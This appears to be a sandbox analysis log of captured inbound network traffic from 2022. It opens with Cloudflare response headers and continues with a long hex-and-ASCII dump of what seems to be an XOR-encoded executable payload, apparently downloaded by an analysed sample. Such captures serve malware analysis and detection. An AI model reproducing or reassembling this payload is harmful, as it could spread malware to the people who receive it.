2022-06-26 07:42:48 UTC	59	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2022-06-26 07:42:48 UTC	59	IN	Data Raw: 28 7f b5 25 de 25 25 25 29 25 25 25 da da 25 25 dd 25 25 25 25 25 25 25 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 dc 25 25 33 fa df 33 25 d9 e4 a8 fc dd dc 71 a8 fc 79 8d 44 4e 45 95 97 4a 42 97 3c 48 45 3e 3c 93 93 4a 99 45 87 40 45 97 50 93 45 44 93 45 69 2a 2e 45 48 4a 89 40 53 e8 e8 2f 49 25 25 25 25 25 25 25 19 fb 3d ab d5 92 9b b0 d5 92 9b b0 d5 92 9b b0 0e 86 9d b0 92 92 9b b0 ba cd 58 b0 8e 92 9b b0 ba cd a1 b0 96 92 9b b0 ba cd 97 b0 d7 92 9b b0 63 9a 04 b0 90 92 9b b0 7d cd 58 b0 8e 92 9b b0 63 9a 3b b0 8c 92 9b b0 d5 92 52 b0 a5 db 9b b0 0e 9a 06 b0 7e 92 9b b0 ab 6c 58 b0 47 92 9b b0 ab 6c a1 b0 8c 92 9b b0 86 4f 01 b0 d9 92 9b b0 52 8c 95 b0 8c 92 9b b0 77 44 3e 8d d5 92 9b Data Ascii: (%%%%)%%%%%%%%%%%%e%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%33%qyDNEJB<HE><JE@EPEDEi*.EHJ@S/I%%%%%%%=Xc}Xc;R~lXGlORwD>
2022-06-26 07:42:48 UTC	60	IN	Data Raw: 59 65 25 ec 79 24 93 99 40 97 8b 3c 3e 40 89 2a 87 8f 40 3e 99 66 e5 da 00 b5 cc 1c 25 66 e5 da 00 b1 cc 1c 25 66 e5 da 00 ad cc 1c 25 66 e5 da 00 a9 cc 1c 25 66 e5 da 00 a5 cc 1c 25 66 e5 da 00 c9 cc 1c 25 66 e5 da 00 a1 cc 1c 25 66 e5 da 00 c5 cc 1c 25 66 e5 da 00 9d cc 1c 25 66 e5 da 00 99 cc 1c 25 66 e5 da 00 95 cc 1c 25 66 e5 da 00 91 cc 1c 25 66 e5 da 00 8d cc 1c 25 66 e5 da 00 89 cc 1c 25 66 e5 da 00 85 cc 1c 25 66 e5 da 00 81 cc 1c 25 66 e5 da 00 7d cc 1c 25 66 e5 da 00 79 cc 1c 25 66 e5 da 00 75 cc 1c 25 66 e5 da 00 c1 cc 1c 25 66 e5 da 00 71 cc 1c 25 66 e5 da 00 6d cc 1c 25 66 e5 da 00 69 cc 1c 25 66 e5 da 00 d9 cc 1c 25 66 e5 da 00 d5 cc 1c 25 66 e5 da 00 d1 cc 1c 25 66 e5 da 00 65 cc 1c 25 66 e5 da 00 61 cc 1c 25 66 e5 da 00 e9 cc 1c 25 66 e5 Data Ascii: Ye%y$@<>@*@>f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f}%fy%fu%f%fq%fm%fi%f%f%f%fe%fa%f%f
2022-06-26 07:42:48 UTC	61	IN	Data Raw: 25 66 2b 66 65 2d 75 0d 3b 21 da da 60 e5 50 2f a2 e0 ed c0 1c 25 dc 25 25 25 66 2b 0d ec d8 da da 66 69 49 29 64 2b dd 11 c0 1c 25 16 2b 50 b1 0e e5 64 e2 5e a1 49 31 25 99 ec 66 69 49 2d 64 e2 66 69 49 31 06 69 49 2d 64 22 29 5e e9 3d 38 3a 83 36 9e 66 e5 2e 7b 32 30 5e e9 0d 66 b4 64 39 49 68 99 49 2d 68 a1 49 29 68 91 49 31 66 f5 66 ef 5c bc 25 15 da da 64 71 49 35 de 39 49 5c e7 da ea 25 25 5c 07 25 15 da da 64 79 49 39 66 69 49 35 64 de 66 69 49 39 06 69 49 35 64 1e 29 7c 11 c0 1c 25 64 e2 c6 36 66 e2 66 65 2d 64 2b 66 e2 66 65 31 de 2b 64 20 25 66 2b 16 69 49 35 4e 2b 66 69 49 35 64 2b 66 20 25 16 69 49 39 9b e2 66 69 49 39 64 20 25 66 2b 16 20 25 4e fa 8f 29 8d 25 35 25 25 66 20 25 06 2b 75 66 2b 75 0d 4b d6 da da 60 e5 50 2b 0e e5 64 de c6 ea 66 Data Ascii: %f+fe-u;!`P/%%%%f+fiI)d+%+Pd^I1%fiI-dfiI1iI-d")^=8:6f.{20^fd9IhI-hI)hI1ff\%dqI59I\%%\%dyI9fiI5dfiI9iI5d)\|%d6ffe-d+ffe1+d %f+iI5N+fiI5d+f %iI9fiI9d %f+ %N)%5%%f %+uf+uK`P+df
2022-06-26 07:42:48 UTC	63	IN	Data Raw: 0d f9 1b da da eb e0 e9 c0 1c 25 25 7c 49 0b 1c 25 75 0d c7 1b da da 0e e5 7e 49 0b 1c 25 7c 11 c0 1c 25 64 20 1d c6 f6 8d 25 a5 25 25 8f 25 66 20 1d 66 65 2d 75 0d b3 1b da da 66 20 1d 66 25 64 20 1d dd 11 c0 1c 25 16 20 1d 50 b6 dd 11 c0 1c 25 0d 43 d2 da da dd 21 c0 1c 25 0d 39 d2 da da dd 4d 0b 1c 25 0d 2f d2 da da 7c 09 c0 1c 25 64 20 21 5e 58 21 25 99 fc 66 20 21 66 25 7e 09 c0 1c 25 66 20 21 75 0d 08 1b da da 7c 09 c0 1c 25 64 20 21 5e 58 21 25 50 ba 0e e5 7f 34 34 89 64 35 8d b2 41 65 25 a5 18 28 05 1c 25 25 99 2f 8d f1 c0 1c 25 0d 02 1b da da 8d f1 c0 1c 25 0d 00 1b da da 9e c4 8a 41 25 25 c6 b6 34 34 38 9e b5 2e 5e e9 1d 16 e0 3d 0b 1c 25 50 e4 66 75 29 64 f0 3d 0b 1c 25 66 75 29 64 39 49 66 75 2d 5c 1f 25 35 25 25 5a 73 16 29 49 50 f2 60 f7 54 Data Ascii: %%\|I%u~I%\|%d %%%%f fe-uf f%d % P%C!%9M%/\|%d !^X!%f !f%~%f !u\|%d !^X!%P44d5Ae%(%%/%%A%%448.^=%Pfu)d=%fu)d9Ifu-\%5%%Zs)IP`T
2022-06-26 07:42:48 UTC	64	IN	Data Raw: 29 66 e2 7e 45 0b 1c 25 66 22 29 7e 41 0b 1c 25 d5 dc 5e e9 35 3a 83 36 9e 68 65 25 2e 5e e9 1d 66 fd 66 f9 68 1e 29 0d 19 1b da da 5e 61 49 25 99 e6 66 e9 0d 32 da da da a9 e5 50 29 0e e5 c6 27 d5 dc 34 7f 36 9e b5 2e 7b 5e e9 1d 66 17 66 fd 66 f1 68 7b 29 66 9e 0d 46 d2 da da 5e 61 49 25 99 e6 66 e9 0d 4b da da da a9 e5 50 29 0e e5 c6 27 d5 dc 34 7f 83 36 9e 68 65 25 2c 66 f9 0e a4 64 2f 60 e5 54 de 5e e5 de 9c 1d 27 18 25 29 25 25 5a f4 66 e8 49 0b 1c 25 66 71 5c 19 64 2f 5e 5f 25 50 2d 65 18 dc 29 25 25 50 c2 66 27 7f 9e 68 65 25 2e 7b 32 30 5e e9 19 66 fd 68 99 49 2d 9a 3d 0b 1c 25 98 41 0b 1c 25 7c 35 0b 1c 25 64 2b 66 2b 16 7d 2d ea b3 86 25 25 25 66 e2 64 2b 66 2b 66 65 2d 16 fd ea b3 bf 25 25 25 66 3b 64 7f 2d 66 3b 66 77 29 64 3b 66 3b 16 7f 2d Data Ascii: )f~E%f")~A%^5:6he%.^ffh)^aI%f2P)'46.{^fffh{)fF^aI%fKP)'46he%,fd/`T^'%)%%ZfI%fq\d/^_%P-e)%%Pf'he%.{20^fhI-=%A%\|5%d+f+}-%%%fd+f+fe-%%%f;d-f;fw)d;f;-
2022-06-26 07:42:48 UTC	65	IN	Data Raw: 65 25 a5 18 28 05 1c 25 25 99 2f 8d f1 c0 1c 25 0d 3f 11 da da 9e c4 d1 37 25 25 c6 c0 66 20 21 36 66 c0 38 9e 66 e5 2e 7b 32 30 5e e9 19 66 ff 5e 9e e2 5e be 21 5e d6 31 58 e0 96 31 25 25 25 5e 0d 29 64 29 49 66 29 49 66 55 5c 0b 21 da da 5a 66 29 49 de eb 64 69 49 29 16 ce 50 e2 d5 dc c4 98 dc 25 25 16 ce ea b3 b5 25 25 25 66 13 06 c6 66 79 49 29 16 f0 45 0b 1c 25 50 51 04 08 45 0b 1c 25 dc 08 41 0b 1c 25 5e 18 41 0b 1c 25 31 ea 68 4a dc 25 25 dc 08 45 0b 1c 25 04 08 41 0b 1c 25 66 03 c4 81 dc 25 25 64 69 49 29 66 69 49 29 1b 25 27 50 3d 66 69 49 29 64 69 49 2d 66 69 49 2d de 8d 2d 66 69 49 2d 0d 2c d0 da da 5e d8 31 a1 fe 66 29 49 de 9e 64 69 49 29 5e a8 27 66 69 49 29 64 4d 66 69 49 29 5e e5 29 0d 67 1b da da c4 ea dc 25 25 66 03 c4 2d dc 25 25 66 d6 Data Ascii: e%(%%/%?7%%f !6f8f.{20^f^^!^1X1%%%^)d)If)IfU\!Zf)IdiI)P%%%%%ffyI)E%PQE%A%^A%1hJ%%E%A%f%%diI)fiI)%'P=fiI)diI-fiI--fiI-,^1f)IdiI)^'fiI)dMfiI)^)g%%f-%%f
2022-06-26 07:42:48 UTC	67	IN	Data Raw: 2b a5 5d 47 50 e8 66 2b a5 9d dc 47 50 e0 5e 2b 27 c6 ba 0e c8 66 2b 64 69 49 31 c6 36 66 2b a5 5d 47 50 65 66 2b 75 0d 7b c0 da da 64 2b c6 39 66 2b 75 0d 6f c0 da da 64 e2 66 e2 06 2b de 0d 66 e2 64 2b 66 2b af 3d a9 b6 99 e0 a5 d6 47 50 ba 66 2b a5 5d 25 99 45 66 2b 75 0d 47 c0 da da 64 2b c6 39 66 2b 75 0d 3b c0 da da 64 e2 66 e2 06 2b de 0d 66 e2 64 2b 66 2b a5 5d 45 52 c3 66 69 49 29 66 b0 0d 9d f4 25 25 66 69 49 31 64 2b 66 69 49 29 66 25 64 69 49 35 0e c8 c6 56 66 2b a5 5d 47 50 75 66 2b 75 0d b0 09 da da 64 2b c6 49 66 2b 75 0d a4 09 da da 64 e2 66 2b 16 e2 4e 39 66 2b af 25 66 79 49 35 ad 29 4f da 2b 20 66 2b 16 e2 97 11 66 2b af 3d a9 b6 99 e0 a5 d6 47 50 aa 66 2b a5 5d 25 99 55 66 2b 75 0d 6c 09 da da 64 2b c6 49 66 2b 75 0d 60 09 da da 64 e2 Data Ascii: +]GPf+GP^+'f+diI16f+]GPef+u{d+9f+uodf+fd+f+=GPf+]%Ef+uGd+9f+u;df+fd+f+]ERfiI)f%%fiI1d+fiI)f%diI5Vf+]GPuf+ud+If+udf+N9f+%fyI5)O+ f+f+=GPf+]%Uf+uld+If+u`d
2022-06-26 07:42:48 UTC	68	IN	Data Raw: 59 65 25 25 25 a0 53 e1 c7 8c 12 65 25 25 65 9b 5f 46 e6 03 5f 65 25 25 0d 64 29 fe a2 af 63 65 25 25 87 d1 a0 c6 9d 88 1c 65 25 a5 9f f2 92 4b b2 fd 69 65 25 b5 d1 93 57 9d ab 62 6d 65 25 d9 32 2f 1a 3b 8d 84 26 65 25 7c c8 f1 f3 f6 e7 ae 73 65 c5 a9 39 65 3c 2c 34 a9 77 65 ed 80 f4 b5 94 80 4a 80 30 65 5f ea 45 19 02 6a a6 f3 7d 65 a9 e4 b9 1d 9d 14 1a 5c 81 65 c0 e6 94 5b b2 e2 6a 7c 3a 65 ba 73 42 29 a8 a4 17 a4 87 65 bb 47 5c 20 65 a1 4a 21 40 65 c3 90 95 06 cd 88 a0 78 44 65 b0 cb aa da 24 fa 9d e7 ae 65 7e 39 76 a0 3b 86 8e ca 18 1c 05 b1 c4 a5 a4 22 df 6e cd 1c cf f2 0b 5a 06 7c 3b db 37 67 46 30 02 14 68 d2 95 05 a1 67 55 a4 61 be da bb 77 af c2 67 b3 03 d4 78 d6 c6 a3 cf 2c 1e b1 0a 8f 81 f4 21 4b f7 96 1e 9b be f1 17 04 0a a9 5c 4b 69 f7 2f b5 Data Ascii: Ye%%%Se%%e_F_e%%d)ce%%e%Kie%Wbme%2/;&e%\|se9e<,4weJ0e_Ej}e\e[j\|:esB)eG\ eJ!@exDe$e~9v;"nZ\|;7gF0hgUawgx,!K\Ki/
2022-06-26 07:42:48 UTC	69	IN	Data Raw: 7b 8b 66 57 8b e4 1b 99 f2 8b 5c 23 25 e5 4e 35 75 66 25 0d 9d da da da 7d 99 e0 64 cc 83 da bc 83 66 2d da 3c 15 9e b5 77 2c 2e a9 f7 a1 de da 75 19 0c f7 68 71 49 35 89 66 3f 64 f4 64 44 2d a2 1c 29 f4 12 65 25 64 1c 31 89 64 2f 36 34 7f 9e c4 5f dc 25 25 66 69 49 51 66 65 31 60 e5 99 33 66 2d d7 5c 75 da 2c 21 7d 0d e4 25 25 25 0d cd 27 25 25 9e 68 65 25 66 35 da 77 1d 9e 66 e5 2e 66 fd 66 9e 66 35 da 77 09 66 9e 36 9e 66 e5 a9 f7 5a dc 9e 75 77 66 35 da 77 0d 7f 7d 9e b5 a5 18 4d e5 1c 25 dc 9b ec 8f 25 8f 25 8f 25 8d ba 1f c8 33 da f0 39 05 1c 25 9e b5 a5 18 4d e5 1c 25 25 99 f2 75 75 77 79 8f 27 8f 25 8d 09 1f c8 33 da f0 39 05 1c 25 5e e9 2d 7d 9e 68 65 25 79 8f dc 8f 25 8d 05 1f c8 33 da f0 39 05 1c 25 5e e9 29 7d 9e 68 65 25 a5 18 4d e5 1c 25 dc Data Ascii: {fW\#%N5uf%}df-<w,.uhqI5f?ddD-)e%d1d/64_%%fiIQfe1`3f-\u,!}%%%'%%he%f5wf.fff5wf6fZuwf5w}M%%%%39%M%%uuwy'%39%^-}he%y%39%^)}he%M%
2022-06-26 07:42:48 UTC	71	IN	Data Raw: 65 29 64 20 21 0e e5 30 8d 38 61 65 25 89 da 55 89 64 45 60 b6 a3 f6 26 64 83 31 66 20 21 66 69 fd 29 64 20 1d 5e 58 1d 25 99 de da 30 1d 60 b6 5a c0 0e e5 7f 34 34 89 64 35 c6 39 c4 1b d6 da da 0d 7c da da da 0d 9d d8 da da 0d a2 d8 da da 3a 83 36 34 34 38 9e 30 66 11 5e e9 1d 2e 7b 32 9a 5d 0b 1c 25 66 22 2d 60 e5 99 79 66 55 0e b6 66 65 29 64 20 21 0e e5 30 8d a8 61 65 25 89 da 55 89 64 45 16 ce a3 3f 66 20 21 66 29 fd 64 20 1d 1e 64 3a 31 5e 58 1d 25 99 de da 30 1d 16 ce 5a 0b 0e e5 7f 34 34 89 64 35 c6 39 c4 ab d6 da da 0d 0c da da da 0d 2d d8 da da 0d 32 d8 da da 3a 83 36 34 34 38 9e 2c 7b 32 e3 5d 0b 1c 25 68 58 e9 94 e6 25 25 25 ce 80 6a e0 7d 0b 1c 25 6a e0 79 0b 1c 25 64 08 71 0b 1c 25 64 f8 75 0b 1c 25 7e 65 0b 1c 25 64 f0 6d 0b 1c 25 68 28 e9 Data Ascii: e)d !08ae%UdE`&d1f !fi)d ^X%0`Z44d59\|:64480f^.{2]%f"-`yfUfe)d !0ae%UdE?f !f)d d:1^X%0Z44d59-2:6448,{2]%hX%%%j}%jy%dq%du%~e%dm%h(
2022-06-26 07:42:48 UTC	72	IN	Data Raw: 0d 7c f5 da da 38 e7 29 25 b5 2e 7b 32 30 5c e9 29 15 da da 75 5e e9 21 66 cc 64 39 49 66 1d 60 1b 5a e4 66 a2 0d a9 23 da da c6 3a 68 93 dc 5c d8 da e2 25 25 58 4d 7b 68 69 49 2d 66 71 49 29 df da ea 25 25 0d a9 da da da 66 fd 60 b6 a1 ea 68 79 49 29 66 a2 66 a6 0d 1c da da da c6 51 66 b8 de b6 66 a2 66 ae 0d 57 29 25 25 7b 66 e2 66 71 49 29 66 ae 0d 79 da da da 66 fd 60 b6 58 27 0e b6 66 a2 66 ae 0d ee 29 25 25 5c e9 29 35 25 25 38 3a 83 36 9e 77 64 07 94 dc 25 25 25 0d d6 23 da da 7f 9e b5 0c a4 60 f7 99 fc 77 5f 2f 99 f2 5f 6f dc 99 ec 5f 6f 27 99 e6 5f 6f de 99 e0 5e e7 29 c6 0d 67 67 67 64 ac 7f 04 ac c4 f1 23 da da 9e 68 65 25 0c a4 60 f7 99 08 77 8b 16 2f 99 45 8b 16 6f 27 99 f2 8b 16 6f 29 99 33 8b 16 6f 2b 99 e0 5e e7 2d c6 09 5e e7 27 5e e7 27 Data Ascii: \|8)%.{20\)u^!fd9If`Zf#:h\%%XM{hiI-fqI)%%f`hyI)ffQfffW)%%{ffqI)fyf`X'ff)%%\)5%%8:6wd%%%#`w_/_o_o'_o^)gggd#he%`w/Eo'o)3o+^-^'^'
2022-06-26 07:42:48 UTC	73	IN	Data Raw: 25 25 25 75 0d a9 a6 da da 5e 9e 29 73 50 0d 83 36 9e 68 65 25 60 f7 ea a9 e1 da da da 66 6f 21 ac c4 ea a9 8c da da da 2c 77 75 0d 30 a6 da da 60 e5 ea a9 4c da da da 9e 2e 7b 32 30 5c e9 29 15 da da 75 5e e9 21 66 cc 64 39 49 66 1d 60 1b 5a e4 66 a2 0d a5 da da da c6 38 68 93 dc 5c d8 da e2 25 25 58 4d 7b 68 69 49 2d 66 71 49 29 df da e2 25 25 0d 41 1f da da 66 fd 60 b6 a3 ea 68 79 49 29 66 a2 66 a6 0d 14 25 25 25 c6 4f 66 b8 66 a2 66 ae 0d ad dc 25 25 7b 66 e2 66 71 49 29 66 ae 0d 13 d4 da da 66 fd 60 b6 58 27 0e b6 66 a2 66 ae 0d 44 dc 25 25 5c e9 29 35 25 25 38 3a 83 36 9e 66 e5 60 a4 ea a9 31 da da da 75 2c 77 0d cd ef da da 60 e5 ea a9 f1 23 da da 7f da 57 64 27 0d cb ef da da 9e b5 0c a4 60 f7 99 08 77 8b 16 2f 99 45 8b 16 6f 27 99 f2 8b 16 6f 29 Data Ascii: %%%u^)sP6he%`fo!,wu0`L.{20\)u^!fd9If`Zf8h\%%XM{hiI-fqI)%%Af`hyI)ff%%%Offf%%{ffqI)ff`X'ffD%%\)5%%8:6f`1u,w`#Wd'`w/Eo'o)
2022-06-26 07:42:48 UTC	75	IN	Data Raw: da da da 2a 5a 0d 38 c6 57 30 64 b0 64 fd de 81 53 27 64 17 0d fa da da da 2a 5a 15 38 c6 41 66 de 5e 9e 29 0d 42 33 25 25 2a 5a ce c6 e8 66 de 5e 9e 29 0d 45 e2 25 25 2a 5a ce 3a 83 36 9e b5 5e 18 3d e5 1c 25 25 99 e2 da f0 3d e5 1c 25 9e d5 35 0d 60 03 da da 9e 2e 7b 32 30 64 9e 64 fb 0c e5 af 1c dc 68 a1 2d 2f 66 4a 21 0c e5 66 2a 1d 2c 66 2a 29 04 9c a3 e6 64 e7 dc 15 dc ff 0d 1d 03 da da 66 22 29 66 f2 66 37 af 2f a5 d4 2f 99 0c a5 d4 e6 99 18 a5 d4 31 99 24 a5 d4 e8 99 30 a5 d4 33 99 95 a5 d4 ea ea a9 a5 25 25 25 a5 d4 ec ea a9 ad 25 25 25 d5 27 38 3a 83 36 c4 f4 03 da da 66 39 55 dc fd 0d 5e ce da da dd 29 25 25 25 c6 58 66 39 55 dc fd 0d 03 d4 da da dd 29 25 25 25 c6 91 68 39 55 dc fd 0d 2c da da da dd 35 25 25 25 c6 36 0c a4 af 6f dc da 99 ec 27 Data Ascii: Z8W0ddS'dZ8Af^)B3%%Zf^)E%%Z:6^=%%=%5`.{20ddh-/fJ!f,f)df")ff7//1$03%%%%%%'8:6f9U^)%%%Xf9U)%%%h9U,5%%%6o'
2022-06-26 07:42:48 UTC	76	IN	Data Raw: 66 3d 60 b6 5a f6 60 b6 58 e2 d5 29 0d 97 b4 da da 66 20 21 66 30 1d 0d 9a da da da c4 3e dc 25 25 0e da 5e 58 0d 25 99 e8 5e 48 0d 29 66 20 0d 66 5d 5e 48 0d 29 66 20 1d ea db 65 dc dc 20 1d 66 20 1d 66 95 27 66 75 2b 60 f7 99 e2 66 27 64 20 1d c6 e0 0e e5 64 20 1d 66 9e d2 13 64 20 11 66 20 11 74 d2 d6 16 15 99 e2 d5 29 0d 37 b4 da da 5e 20 11 2d 5e 58 0d 25 99 2d 66 20 0d 5e 5d dc 50 61 66 20 0d 64 20 09 16 d6 a3 fa 5e 58 1d 25 99 f4 66 20 0d 5e e5 2d 66 ae ea 8a fb de e7 66 aa 06 a6 66 30 1d 0d 02 da da da 68 20 09 66 30 11 0d ed b2 da da 66 20 09 64 20 0d c6 3e 66 20 0d da 2d 66 20 11 0d 3e b2 da da 64 20 0d 64 58 15 16 38 15 58 de 64 38 15 5e 58 1d 25 99 51 66 30 15 ea 8a fb 66 20 0d 5e e5 2d 0e a4 0d 65 01 da da 66 20 15 75 66 30 21 66 37 66 20 0d Data Ascii: f=`Z`X)f !f0>%%^X%^H)f f]^H)f e f f'fu+`f'd d fd f t)7^ -^X%-f ^]Paf d ^X%f ^-fff0h f0f d >f -f >d dX8Xd8^X%Qf0f ^-ef uf0!f7f
2022-06-26 07:42:48 UTC	78	IN	Data Raw: 0d e0 25 25 25 68 60 ba 23 da da df e0 dc 25 25 0d 5c d8 da da 68 20 0d 75 68 20 13 75 8f 25 8f 25 68 60 ba 23 da da 75 66 20 1d 75 0d 04 96 da da 60 e5 99 47 68 20 0d 75 68 20 13 75 8f 25 8f 25 8d f1 7d 65 25 66 20 1d 75 0d e6 96 da da 60 e5 99 29 eb 20 13 25 eb 20 17 25 0e e5 7f 34 34 89 64 35 8d 32 32 65 25 66 20 1d 75 0d b4 df da da 9e c4 0a 07 da da c6 ca 8d e0 dc 25 25 66 20 21 75 68 60 ba 23 da da 75 0d c9 df da da 8f e0 68 20 ce 75 8f de 0d 5a df da da 75 0d 2c df da da 0e b6 a5 98 ba 23 da da 25 ea a9 d4 25 25 25 a5 58 ce 25 50 2f a5 58 13 25 ea a9 c4 25 25 25 68 60 ba 23 da da 75 0d 93 df da da 68 70 ba 23 da da de e7 64 20 09 c6 de da 28 09 66 20 09 a5 5d 53 99 e6 68 60 ba 23 da da 16 20 09 50 0f 68 60 ba 23 da da 16 20 09 ea a9 86 25 25 25 da Data Ascii: %%%h`#%%\h uh u%%h`#uf u`Gh uh u%%}e%f u`) % %44d522e%f u%%f !uh`#uh uZu,#%%%%X%P/X%%%%h`#uhp#d (f ]Sh`# Ph`# %%%
2022-06-26 07:42:48 UTC	79	IN	Data Raw: 5e e9 15 2e 7b 64 28 19 64 30 1d 64 20 21 5e 58 19 25 50 2f 0e e5 64 20 15 c4 e4 dc 25 25 a2 20 15 da da da da 0e e5 0e 1b 5e 58 21 25 ea a9 84 25 25 25 c4 a7 25 25 25 66 30 19 0e a4 af 31 57 6b 1b 9c a5 99 91 16 50 2d ea 5e fd 25 25 25 5e bc 1a 1b 9c 45 99 53 66 30 19 af 39 57 6b 66 ff a5 be e5 a5 d6 a5 ea 60 96 25 25 25 16 50 2d ea 5e d7 25 25 25 a5 07 1a 5c 07 da 25 25 25 9c bc 2b e6 ac 66 ef 66 30 19 af 39 57 6b 66 ff a5 be e5 a5 d6 a5 ea 60 68 25 25 25 a5 07 1a 5c 07 da 25 25 25 9c bc 2b 8b e6 ac 66 28 21 8b 64 39 1c c6 e2 66 30 21 8b 64 31 67 65 16 50 2d 4e e4 16 20 1d ea a7 95 da da da 16 20 1d 97 29 66 20 1d 6d 66 30 21 8b a2 29 67 25 25 c6 22 16 50 2d 4e 67 66 30 19 af 39 57 6b 1b e7 a5 99 55 16 50 2d 4e 10 a5 07 1a 1b e7 45 99 39 66 30 19 af 39 Data Ascii: ^.{d(d0d !^X%P/d %% ^X!%%%%%%%f01WkP-^%%%^ESf09Wkf`%%%P-^%%%\%%%+ff09Wkf`h%%%\%%%+f(!d9f0!d1geP-N )f mf0!)g%%"P-Ngf09WkUP-NE9f09
2022-06-26 07:42:48 UTC	80	IN	Data Raw: 7c c1 e5 1c 25 75 0d 68 da da da 7f 36 9e 66 e5 dd 31 25 25 25 60 e5 99 fa 0d 87 da da da 7e c1 e5 1c 25 0d bd da da da 7c c1 e5 1c 25 75 0d 38 da da da 7e 99 0b 1c 25 9e 68 65 25 2c dd 31 25 25 25 60 e5 99 4b 5e 18 c1 e5 1c 25 da 99 f8 7c c1 e5 1c 25 75 0d 5b da da da 64 29 49 5e 61 49 25 99 e4 66 29 49 75 0d 31 da da da 7f 9e 66 e5 dd 31 25 25 25 60 e5 99 f4 0d e3 da da da 5e 18 c1 e5 1c 25 da 99 e6 7c c1 e5 1c 25 75 0d 1b 23 da da 9e b5 af e8 89 0b 1c 25 7c c1 e5 1c 25 a9 a4 50 4b 89 66 f0 51 25 25 25 66 29 a7 9e 0d e8 da da da 7c c1 e5 1c 25 75 0d f7 23 da da 60 e5 99 dc 9e 7c 99 0b 1c 25 9e 75 0d 9c 23 da da 60 e5 99 b6 9e dd c5 e5 1c 25 0d 9b d2 da da 9e b5 df c5 e5 1c 25 5e 58 31 dc 50 4f 75 77 eb e0 89 0b 1c 25 dc 66 28 2d 64 e8 8d 0b 1c 25 64 6f Data Ascii: \|%uh6f1%%%`~%\|%u8~%he%,1%%%`K^%\|%u[d)I^aI%f)Iu1f1%%%`^%\|%u#%\|%PKfQ%%%f)\|%u#`\|%u#`%%^X1POuw%f(-d%do
2022-06-26 07:42:48 UTC	82	IN	Data Raw: 1d 64 20 21 66 28 1d 1c 66 20 21 66 f0 25 35 65 25 0d 88 09 da da 66 20 19 0d ac b8 da da 0e e5 30 8d 9f 42 65 25 89 da 55 89 64 45 eb 20 ce 25 66 50 1d 6b 73 60 1b a1 55 6b 0e da 66 38 21 66 20 19 0d dd b8 da da 75 66 de 0d d5 b8 da da 75 0d 67 23 da da 60 e5 50 e4 66 20 2d 64 5d eb 20 ce dc 22 5e 9e 29 73 50 fb 0e e5 7f 34 34 89 64 35 8d 5c 42 65 25 68 20 19 0d 9c fd da da 66 20 21 66 28 1d 1c 66 f0 25 35 65 25 0d ce 07 da da 9e c4 e0 f7 da da c6 03 af 20 ce 66 58 09 66 50 0d 66 38 11 66 c0 38 e7 29 25 b5 0e f7 84 25 25 25 29 99 2b 5c ef 25 27 25 25 84 25 25 25 45 99 08 84 25 25 25 65 99 ec 84 25 25 25 a5 99 e0 5e ef 65 c6 1c 5e ef 45 c6 61 84 25 25 25 a5 99 2d 5c ef a5 25 25 25 c6 08 5e ef 35 66 e7 9e 84 25 25 25 65 99 ec 84 25 25 25 a5 99 e0 5e ef 29 Data Ascii: d !f(f !f%5e%f 0Be%UdE %fPks`Ukf8!f ufug#`Pf -d] "^)sP44d5\Be%h f !f(f%5e% fXfPf8f8)%%%%)+\%'%%%%%E%%%e%%%^e^Ea%%%-\%%%^5f%%%e%%%^)
2022-06-26 07:42:48 UTC	83	IN	Data Raw: 35 8d 83 91 65 25 68 20 19 66 f0 41 8b 65 25 0d ef b8 da da 9e c4 4d a8 da da c6 0f 66 20 05 3a 83 36 66 c0 38 9e 30 66 11 0e e5 30 8d 68 91 65 25 89 da 55 89 64 45 da e0 a5 0b 1c 25 0e e5 7f 34 34 89 64 35 8d b9 91 65 25 9e c4 17 f1 da da c6 1d 38 9e 66 e5 5e 08 a5 0b 1c 25 dc 9e 8d 0b 1c 25 15 da 25 25 8d 0b 1c 25 cc da 25 25 8d 0b 1c 25 17 da 25 25 8d 0b 1c 25 ce da 25 25 8d 0b 1c 25 19 da 25 25 8d 0b 1c 25 d0 da 25 25 8d 0b 1c 25 1b da 25 25 8d 0b 1c 25 d2 da 25 25 8d 0b 1c 25 1d da 25 25 8d 0b 1c 25 d4 da 25 25 8d 0b 1c 25 1f da 25 25 8d 0b 1c 25 d6 da 25 25 8d 0b 1c 25 21 da 25 25 8d 0b 1c 25 d8 da 25 25 8d 0b 1c 25 23 da 25 25 8d 0b 1c 25 da da 25 25 8d 0b 1c 25 05 da 25 25 8d 0b 1c 25 bc da 25 25 8d 0b 1c 25 07 da 25 25 8d 0b 1c 25 be da 25 25 8d Data Ascii: 5e%h fAe%Mf :6f80f0he%UdE%44d5e%8f^%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!%%%%%%#%%%%%%%%%%%%%%%%%
2022-06-26 07:42:48 UTC	84	IN	Data Raw: 25 25 25 25 25 f1 4c 65 25 35 25 25 25 4d 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 37 20 20 9d 99 40 97 93 3c 91 20 9d 3e 40 95 99 44 4a 93 b5 51 97 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 51 97 65 25 35 25 25 25 4d 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e4 20 24 93 99 20 97 97 4a 97 66 e5 a9 97 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 a9 97 65 25 35 25 25 25 05 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 2f 20 69 44 9b 67 54 7f 40 97 4a b5 01 97 65 25 25 25 25 25 25 25 